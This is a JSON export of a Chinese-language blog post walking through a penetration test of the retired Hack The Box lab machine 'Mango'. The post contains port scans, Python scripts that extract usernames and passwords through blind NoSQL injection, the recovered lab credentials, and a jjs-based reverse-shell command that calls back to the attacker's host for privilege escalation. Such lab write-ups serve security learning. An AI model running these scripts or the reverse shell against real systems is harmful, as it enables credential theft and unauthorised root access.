{"id":149,"date":"2024-11-13T10:34:40","date_gmt":"2024-11-13T02:34:40","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=149"},"modified":"2024-11-13T10:34:41","modified_gmt":"2024-11-13T02:34:41","slug":"149","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/149\/","title":{"rendered":"HTB\u9776\u673a Mango \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.10.10.162<\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026\/Documents\/pentest_notes\/mango\/nmap_reports]\n\u2514\u2500# ping -c 4 10.10.10.162\nPING 10.10.10.162 (10.10.10.162) 56(84) bytes of data.\n64 bytes from 10.10.10.162: icmp_seq=1 ttl=63 time=493 ms\n64 bytes from 10.10.10.162: icmp_seq=2 ttl=63 time=624 ms\n64 bytes from 10.10.10.162: icmp_seq=3 ttl=63 time=250 ms\n64 bytes from 10.10.10.162: icmp_seq=4 ttl=63 time=250 ms\n\n--- 10.10.10.162 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3003ms\nrtt min\/avg\/max\/mdev = 250.057\/404.533\/624.412\/161.095 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u7f51\u7edc\u8fde\u63a5\u72b6\u6001\u826f\u597d\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Fri Aug  2 08:15:25 2024 as: nmap -sF -p- --min-rate 2000 -oN .\/fin_result.txt 10.10.10.162\nWarning: 10.10.10.162 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.162 (10.10.10.162)\nHost is up (0.50s latency).\nNot shown: 65532 closed tcp ports (reset)\nPORT    STATE         SERVICE\n22\/tcp  open|filtered ssh\n80\/tcp  open|filtered http\n443\/tcp open|filtered https\n\n# Nmap done at Fri Aug  2 08:17:31 2024 -- 1 IP address (1 host up) scanned in 125.30 seconds<\/code><\/pre>\n<p>\u9776\u673a\u5f00\u653e\u4e86<code>3<\/code>\u4e2a<code>TCP<\/code>\u7aef\u53e3\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code>TCP<\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Fri Aug  2 08:29:53 2024 as: nmap -sS -sV -A -p 22,80,443 -oN .\/tcp_result.txt 10.10.10.162\nNmap scan report for 10.10.10.162 (10.10.10.162)\nHost is up (0.32s latency).\n\nPORT    STATE SERVICE  VERSION\n22\/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)\n|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)\n|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)\n80\/tcp  open  http     Apache httpd 2.4.29\n|_http-title: 403 Forbidden\n|_http-server-header: Apache\/2.4.29 (Ubuntu)\n443\/tcp open  ssl\/http Apache httpd 2.4.29 ((Ubuntu))\n| tls-alpn: \n|_  http\/1.1\n|_http-title: Mango | Search Base\n|_http-server-header: Apache\/2.4.29 (Ubuntu)\n| ssl-cert: Subject: commonName=staging-order.mango.htb\/organizationName=Mango Prv Ltd.\/stateOrProvinceName=None\/countryName=IN\n| Not valid before: 2019-09-27T14:21:19\n|_Not valid after:  2020-09-26T14:21:19\n|_ssl-date: TLS randomness does not represent time\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 3.2 - 4.9 (96%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 3.18 (94%), Linux 5.0 (94%), Linux 3.16 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 5.1 (93%), Oracle VM Server 3.4.2 (Linux 4.1) (93%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 443\/tcp)\nHOP RTT       ADDRESS\n1   372.82 ms 10.10.14.1 (10.10.14.1)\n2   373.01 ms 10.10.10.162 (10.10.10.162)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Fri Aug  2 08:30:43 2024 -- 1 IP address (1 host up) scanned in 49.83 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Fri Aug  2 08:37:17 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_ports.txt 10.10.10.162\nWarning: 10.10.10.162 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.162 (10.10.10.162)\nHost is up (0.68s latency).\nAll 65535 scanned ports on 10.10.10.162 (10.10.10.162) are in ignored states.\nNot shown: 65162 open|filtered udp ports (no-response), 373 closed udp ports (port-unreach)\n\n# Nmap done at Fri Aug  2 08:43:33 2024 -- 1 IP address (1 host up) scanned in 376.33 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Ubuntu Linux<\/code>\uff0c\u4e3b\u57df\u540d<code>mango.htb<\/code>\uff0c\u5b50\u57df\u540d<code>staging-order.mango.htb<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u7aef\u53e3<code>Banner<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/mango]\n\u2514\u2500# nc -nv 10.10.10.162 22                                       \n(UNKNOWN) [10.10.10.162] 22 (ssh) open\nSSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3<\/code><\/pre>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<h3>\u4e3b\u57df\u540d<\/h3>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/mango.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722560408040-1041b5a7-a327-40ef-a7b7-712bdca0d845.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u626b\u63cf\u76ee\u5f55\uff0c\u6ca1\u6709\u4efb\u4f55\u7ed3\u679c\u3002<\/p>\n<h3>\u5b50\u57df\u540d<\/h3>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/staging-order.mango.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722560828873-def13444-db93-47e3-81d8-3c0153a2e153.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u767b\u5f55\u6846\uff0c\u5c1d\u8bd5\u8fdb\u884c<code>SQL<\/code>\u6ce8\u5165\u6d4b\u8bd5\u548c\u786c\u7f16\u7801\u6d4b\u8bd5\uff0c\u672a\u679c\uff0c\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Fri Aug  2 09:36:07 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/staging-order.mango.htb\/ -x 400,403,404 -t 60 -e php,js,html,txt,tar.gz,zip,pcap\n\n302     0B   http:\/\/staging-order.mango.htb\/home.php    -&gt; REDIRECTS TO: index.php\n200     0B   http:\/\/staging-order.mango.htb\/vendor\/composer\/autoload_psr4.php\n200     0B   http:\/\/staging-order.mango.htb\/vendor\/autoload.php\n200     0B   http:\/\/staging-order.mango.htb\/vendor\/composer\/autoload_static.php\n200     0B   http:\/\/staging-order.mango.htb\/vendor\/composer\/autoload_classmap.php\n200     0B   http:\/\/staging-order.mango.htb\/vendor\/composer\/autoload_namespaces.php\n200     4KB  http:\/\/staging-order.mango.htb\/vendor\/composer\/installed.json\n200     3KB  http:\/\/staging-order.mango.htb\/vendor\/composer\/LICENSE\n200     0B   http:\/\/staging-order.mango.htb\/vendor\/composer\/autoload_files.php\n200     0B   http:\/\/staging-order.mango.htb\/vendor\/composer\/autoload_real.php\n200     0B   http:\/\/staging-order.mango.htb\/vendor\/composer\/ClassLoader.php<\/code><\/pre>\n<p>\u5c1d\u8bd5\u8bbf\u95ee<code>\/vendor\/composer\/installed.json<\/code>\uff0c\u6210\u529f\u53d1\u73b0\u8be5\u9875\u9762\u4f7f\u7528\u4e86<code>mongo-php-adapter<\/code>\uff0c\u7248\u672c\u4e3a<code>v1.1.19<\/code>\uff0c\u8bf4\u660e\u540e\u7aef\u4f7f\u7528\u4e86<code>MongoDB<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722564888244-c0d935c5-cf7a-4f40-b3c3-5bf0d9f079e6.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>NoSQL<\/code>\u6ce8\u5165\uff0c\u6210\u529f\u53d1\u73b0\u8be5\u9875\u9762\u6709\u6ce8\u5165\u70b9\u3002<\/p>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff08443\u7aef\u53e3\uff09<\/h2>\n<p>\u5c1d\u8bd5\u6253\u5f00\u4e3b\u9875\uff1a<code>https:\/\/mango.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722565313848-4c7c4170-0dcc-439b-81a6-6015bbd9c39e.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u4e3b\u9875\u4e0a\u6709\u4e00\u4e2a\u641c\u7d22\u6846\u3001\u4e00\u5904\u6587\u672c\u548c\u4e00\u4e2a<code>Analytics<\/code>\u8d85\u94fe\u63a5\u3002\u8bbf\u95ee\u8be5\u8d85\u94fe\u63a5\uff0c\u53d1\u73b0\u8df3\u8f6c\u5230\u4e86<code>analytics.php<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722565481282-d0d5dfc5-a5ab-4552-9bbd-4745f83cfb39.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8be5\u9875\u9762\u4e3a<code>Flexmonster<\/code>\u7f51\u7edc\u62a5\u544a\u6570\u636e\u900f\u89c6\u8868\u7cfb\u7edf\uff0c\u7248\u672c\u4e3a<code>v2.9.82<\/code>\u3002<\/p>\n<p>\u5c1d\u8bd5\u626b\u63cf\u76ee\u5f55\uff0c\u672a\u53d1\u73b0\u4efb\u4f55\u6709\u6548\u4fe1\u606f\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>NoSQL\u76f2\u6ce8\u6f0f\u6d1e\u5229\u7528<\/h2>\n<p>\u53d1\u73b0\u7f51\u7ad9\u4f7f\u7528\u4e86<code>PHP MongoDB<\/code>\u9a71\u52a8\u4e4b\u540e\uff0c\u5c1d\u8bd5\u5c06\u7528\u6237\u540d\u548c\u5bc6\u7801\u53c2\u6570\u53d8\u4e3a\u952e\u540d\u4e3a<code>$ne<\/code>\u7684\u6570\u7ec4\uff0c\u6784\u9020\u6c38\u771f\u5f0f\u7ed5\u8fc7\u767b\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722647342491-6d781532-3a4c-46d9-8fe1-eb7eeb520242.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5982\u679c\u767b\u5f55\u6210\u529f\uff0c\u9875\u9762\u4f1a\u8fd4\u56de<code>302<\/code>\uff0c\u5426\u5219\u8fd4\u56de<code>200<\/code>\uff0c\u800c\u767b\u5f55\u540e\u7684\u754c\u9762\u53ea\u6709\u4e00\u4e2a\u90ae\u7bb1<code>admin@mango.htb<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722647563964-181b4e10-188a-4a3a-a81c-dc0de0d19714.png\" alt=\"\" \/><\/p>\n<p>\u9274\u4e8e\u5728\u5f53\u524d\u9875\u9762\u767b\u5f55\u8bf7\u6c42\u4e2d\u6dfb\u52a0\u7279\u6b8a<code>NoSQL<\/code>\u7b26\u53f7\u65e0\u6cd5\u8fbe\u5230\u62a5\u9519\u7684\u6548\u679c\uff0c\u5224\u65ad\u8be5\u9875\u9762\u6f0f\u6d1e\u4e3a\u65e0\u56de\u663e<code>NoSQL<\/code>\u6ce8\u5165\uff0c\u76f4\u63a5\u4f7f\u7528\u5e03\u5c14\u76f2\u6ce8\u7684\u65b9\u6cd5\u6ce8\u51fa\u5f53\u524d\u96c6\u5408\u5185\u7684\u7528\u6237\u540d\u548c\u5bc6\u7801\uff1a<\/p>\n<pre><code class=\"language-python\">\n#! \/usr\/bin\/python3\nimport time\nimport requests\n\ntarget = \"http:\/\/staging-order.mango.htb\/\"\nheaders = {\n  \"Host\": \"staging-order.mango.htb\",\n  \"User-Agent\": \"Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0\",\n  \"Accept\": \"text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8\",\n  \"Accept-Language\": \"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\",\n  \"Accept-Encoding\": \"gzip, deflate, br\",\n  \"Content-Type\": \"application\/x-www-form-urlencoded\",\n  \"Origin\": \"http:\/\/staging-order.mango.htb\",\n  \"Connection\": \"keep-alive\"\n}\n\ndef post(login_data):\n  global target\n  global hedaers\n  return requests.post(url=target, headers=headers, data=login_data, allow_redirects=False)\n\ndef get_users(user):\n  print(\"[*] Now starting to get the usernames ......\")\n  userlist = user\n  if len(userlist) == 0:\n    char_count = 0\n    for i in range(33, 127):\n      if chr(i) in ['*', '+', '.', '?', '|', '#', '&', '$', '^']: continue\n      login_form = {\"username[$regex]\":\"^\"+chr(i), \"password[$ne]\":\"\", \"login\":\"login\"}\n      print(\"[*] Trying ASCII code %d (%s)\"%(i,login_form))\n      resp = post(login_form)\n      if resp.status_code == 302:\n        char_count = char_count + 1\n        userlist.append(chr(i))\n        print(\"[+] Found a char: %s\"%(chr(i)))\n      elif resp.status_code == 200: continue\n      else: exit(\"[-] Network error!\")\n    if char_count == 0: exit(\"[-] There is no record in the collection!\")\n    else: print(userlist);get_users(userlist)\n  len_list = len(userlist)\n  total_newChars = 0\n  for i in range(0, len_list):\n    char_count = 0\n    for j in range(33, 127):\n      if chr(j) in ['*', '+', '.', '?', '|', '#', '&', '$', '^']: continue\n      login_form = {\"username[$regex]\":\"^\"+userlist[i]+chr(j), \"password[$ne]\":\"\", \"login\":\"login\"}\n      print(\"[*] Trying ASCII code %d (%s)\"%(j,login_form))\n      resp = post(login_form)\n      if resp.status_code == 302:\n        char_count = char_count + 1\n        total_newChars = total_newChars + 1\n        userlist.append(userlist[i] + chr(j))\n        print(\"[+] Found a char: %s\"%(chr(j)))\n      elif resp.status_code == 200: continue\n      else: exit(\"[-] Network error!\")\n    if char_count != 0:\n      userlist.pop(i)\n    else: continue\n  if total_newChars == 0: return userlist\n  else: print(userlist);print(total_newChars);get_users(userlist)\n\nprint(get_users(list()))\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722658264922-14c9c051-17b2-4f1d-9531-d07ced0ab5e9.png\" alt=\"\" \/><br \/>\n\u6210\u529f\u83b7\u53d6\u96c6\u5408\u4e2d\u7684<code>2<\/code>\u4e2a\u7528\u6237\u540d\uff1a<code>admin<\/code>\u3001<code>mango<\/code>\u3002<br \/>\n\u4f7f\u7528\u5982\u4e0b\u51fd\u6570\u83b7\u53d6\u4ee5\u4e0a\u7528\u6237\u540d\u7684\u5bc6\u7801\u957f\u5ea6\uff1a<\/p>\n<pre><code class=\"language-python\">\ndef getPasswdLength():\n      pwd_lenlist = list()\n      userlist = [\"admin\", \"mango\"]\n      for i in userlist:\n        pwdlen = 0\n        while True:\n          pwdlen = pwdlen + 1\n          login_form = {\"username[$eq]\": i, \"password[$regex]\":\".{%d}\"%(pwdlen)}\n          print(login_form)\n          resp = post(login_form)\n          if resp.status_code == 302: continue\n          elif resp.status_code == 200: pwd_lenlist.append(pwdlen - 1);break\n          else: exit(\"[-] Network error!\")\n      print(pwd_lenlist)\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722659054680-7b178126-f132-416b-8cc0-ff4a9ec54526.png\" alt=\"\" \/><br \/>\n\u5f97\u77e5<code>admin<\/code>\u7528\u6237\u7684\u5bc6\u7801\u957f\u5ea6\u4e3a<code>12<\/code>\uff0c\u800c<code>mango<\/code>\u7528\u6237\u7684\u5bc6\u7801\u957f\u5ea6\u4e3a<code>16<\/code>\u3002<br \/>\n\u63a5\u4e0b\u6765\u4f7f\u7528\u5982\u4e0b\u811a\u672c\u83b7\u53d6\u4e24\u4e2a\u7528\u6237\u7684\u5bc6\u7801\uff1a<\/p>\n<pre><code class=\"language-python\">\n#! \/usr\/bin\/python3\nimport time\nimport requests\n\ntarget = \"http:\/\/staging-order.mango.htb\/\"\nheaders = {\n  \"Host\": \"staging-order.mango.htb\",\n  \"User-Agent\": \"Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0\",\n  \"Accept\": \"text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8\",\n  \"Accept-Language\": \"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\",\n  \"Accept-Encoding\": \"gzip, deflate, br\",\n  \"Content-Type\": \"application\/x-www-form-urlencoded\",\n  \"Origin\": \"http:\/\/staging-order.mango.htb\",\n  \"Connection\": \"keep-alive\"\n}\n\ndef post(login_data):\n  global target\n  global hedaers\n  return requests.post(url=target, headers=headers, data=login_data, allow_redirects=False)\n\nusername = \"admin\"\nlength = 12\npassword = \"\"\nfor i in range(0, length):\n      print(\"[*] Getting the char #%d\"%(i+1))\n      for j in range(33, 127):\n            if chr(j) in ['*', '+', '.', '?', '|', '&', '$', '^']: continue\n            login_form = {\"username[$eq]\": username, \"password[$regex]\": \"^\"+password+chr(j), \"login\":\"login\"}\n            resp = post(login_form)\n            if resp.status_code == 302:\n                  print(\"[+] Found a char: %s (ASCII code %d)\"%(chr(j), j))\n                  password = password + chr(j)\n                  break\n            elif resp.status_code == 200: continue\n            else: exit(\"[-] Network error!\")\nprint(\"[+] admin: %s\"%(password))\n\nusername = \"mango\"\nlength = 16\npassword = \"\"\nfor i in range(0, length):\n      print(\"[*] Getting the char #%d\"%(i+1))\n      for j in range(33, 127):\n            if chr(j) in ['*', '+', '.', '?', '|', '&', '$', '^']: continue\n            login_form = {\"username[$eq]\": username, \"password[$regex]\": \"^\"+password+chr(j), \"login\":\"login\"}\n            resp = post(login_form)\n            if resp.status_code == 302:\n                  print(\"[+] Found a char: %s (ASCII code %d)\"%(chr(j), j))\n                  password = password + chr(j)\n                  break\n            elif resp.status_code == 200: continue\n            else: exit(\"[-] Network error!\")\nprint(\"[+] mango: %s\"%(password))\n<\/code><\/pre>\n<p>\u6210\u529f\u83b7\u53d6\u5e76\u9a8c\u8bc1<code>2<\/code>\u4e2a\u7528\u6237\u767b\u5f55\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>admin<\/code>\uff0c\u5bc6\u7801\uff1a<code>t9KcS3&gt;!0B#2<\/code><\/li>\n<li>\u7528\u6237\u540d\uff1a<code>mango<\/code>\uff0c\u5bc6\u7801\uff1a<code>h3mXK8RhU~f{]f5H<\/code><\/li>\n<\/ul>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>mango<\/code>\u7528\u6237\u767b\u5f55<code>SSH<\/code>\uff1a<br \/>\n<img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722663319752-34f6ffe6-e011-4f24-ba6e-e12c1c548283.png\" alt=\"\" \/><br \/>\n<strong>\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u79fb\u52a8\u81f3admin\u7528\u6237<\/h2>\n<p>\u767b\u5f55\u5230\u7cfb\u7edf\u4e4b\u540e\uff0c\u5c1d\u8bd5\u4f7f\u7528<code>su<\/code>\u547d\u4ee4\u5207\u6362\u81f3<code>admin<\/code>\u7528\u6237\uff08\u62d6\u5e93\u83b7\u53d6\u7684\u5bc6\u7801\uff09\uff0c\u6210\u529f\uff1a<br \/>\n<img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722663542438-5b3088d8-012d-4171-8713-82be50dc3e30.png\" alt=\"\" \/><\/p>\n<h2>\u672c\u5730\u4fe1\u606f\u6536\u96c6<\/h2>\n<p><strong>\u57fa\u672c\u7cfb\u7edf\u4fe1\u606f<\/strong><br \/>\n<img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722731183982-4869cdae-d057-430f-9765-74727777df13.png\" alt=\"\" \/><br \/>\n<strong>\u8fdb\u7a0b\u5217\u8868<\/strong><br \/>\n<img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722731190913-a4f362ca-03de-49aa-b818-0482fdd746f8.png\" alt=\"\" \/><br \/>\n<strong>\u8ba1\u5212\u4efb\u52a1\u5217\u8868<\/strong><br \/>\n<img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722731197206-249dc0c0-e275-47fa-8c19-a97ff9e65f12.png\" alt=\"\" \/><br \/>\n<img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722731202132-0345baa3-e72f-49c8-9d81-563d32011d1c.png\" alt=\"\" \/><br \/>\n<strong>\u73af\u5883\u53d8\u91cf<\/strong><br \/>\n<img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722731209151-ede3a84b-708e-4aa6-9dc5-b0324c402cc6.png\" alt=\"\" \/><br \/>\n<strong>\u7528\u6237\u4fe1\u606f<\/strong><br \/>\n<img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722731216027-c258890c-66a0-4d53-b12d-92a01a3d158d.png\" alt=\"\" \/><br \/>\n<strong>\u7528\u6237\u5bb6\u76ee\u5f55<\/strong><br \/>\n<img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722731257998-a44e4bd2-2bc4-4af5-80c8-09de7010833a.png\" alt=\"\" \/><br \/>\n<strong>\u7279\u6b8a\u6743\u9650\u6587\u4ef6<\/strong><br \/>\n<img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722731264249-cf54c59f-f1af-45f5-9ead-940a81390ab6.png\" alt=\"\" \/><br \/>\n<strong>\u5f00\u653e\u7aef\u53e3\u4fe1\u606f<\/strong><br \/>\n<img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722731277908-d6ce7b72-a10a-4e7e-9f26-5fcbbd3c0517.png\" alt=\"\" \/><br \/>\n<strong>\u654f\u611f\u6587\u4ef6\u6743\u9650<\/strong><br \/>\n<img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722731283977-a08f69ba-21f4-4ac9-8f80-c2d86b3518cc.png\" alt=\"\" \/><br \/>\n\u7ecf\u5206\u6790\u7814\u5224\uff0c\u53d1\u73b0<code>\/usr\/lib\/jvm\/java-11-openjdk-amd64\/bin\/jjs<\/code>\u6743\u9650\u4e3a<code>4755<\/code>\uff0c\u5c5e\u4e3b\u4e3a<code>root<\/code>\uff0c\u4e14\u94fe\u63a5<code>\/usr\/bin\/jjs<\/code>\u6307\u5411\u4e86\u8be5\u7a0b\u5e8f\uff0c\u51b3\u5b9a\u4ee5\u5176\u4e3a\u5165\u53e3\u8fdb\u884c\u63d0\u6743\u3002<\/p>\n<h2>JJS\u63d0\u6743<\/h2>\n<p>\u7ecf\u8054\u7f51\u67e5\u8be2\uff0c\u53d1\u73b0\u8fd0\u884c\u5982\u4e0b\u547d\u4ee4\uff0c\u5c31\u53ef\u4ee5\u901a\u8fc7<code>JJS<\/code>\u542f\u52a8\u4e00\u4e2a\u65b0<code>Bash<\/code>\u73af\u5883\u5e76\u53cd\u5f39Shell\uff1a<\/p>\n<pre><code class=\"language-shell\">echo \"Java.type('java.lang.Runtime').getRuntime().exec(['\/bin\/bash','-pc','exec 5&lt;&gt;\/dev\/tcp\/10.10.14.2\/4444;cat &lt;&amp;5 | while read line; do $line 2&gt;&amp;5 &gt;&amp;5; done']).waitFor()\" | jjs<\/code><\/pre>\n<p>\u76f4\u63a5\u6267\u884c\uff1a<br \/>\n<img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722732522229-1ce58c1c-1ba2-4f70-8dcb-627f482cee13.png\" alt=\"\" \/><br \/>\n<strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.162 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b \u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-149","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/149","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=149"}],"version-history":[{"count":5,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/149\/revisions"}],"predecessor-version":[{"id":154,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/149\/revisions\/154"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=149"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=149"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=149"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}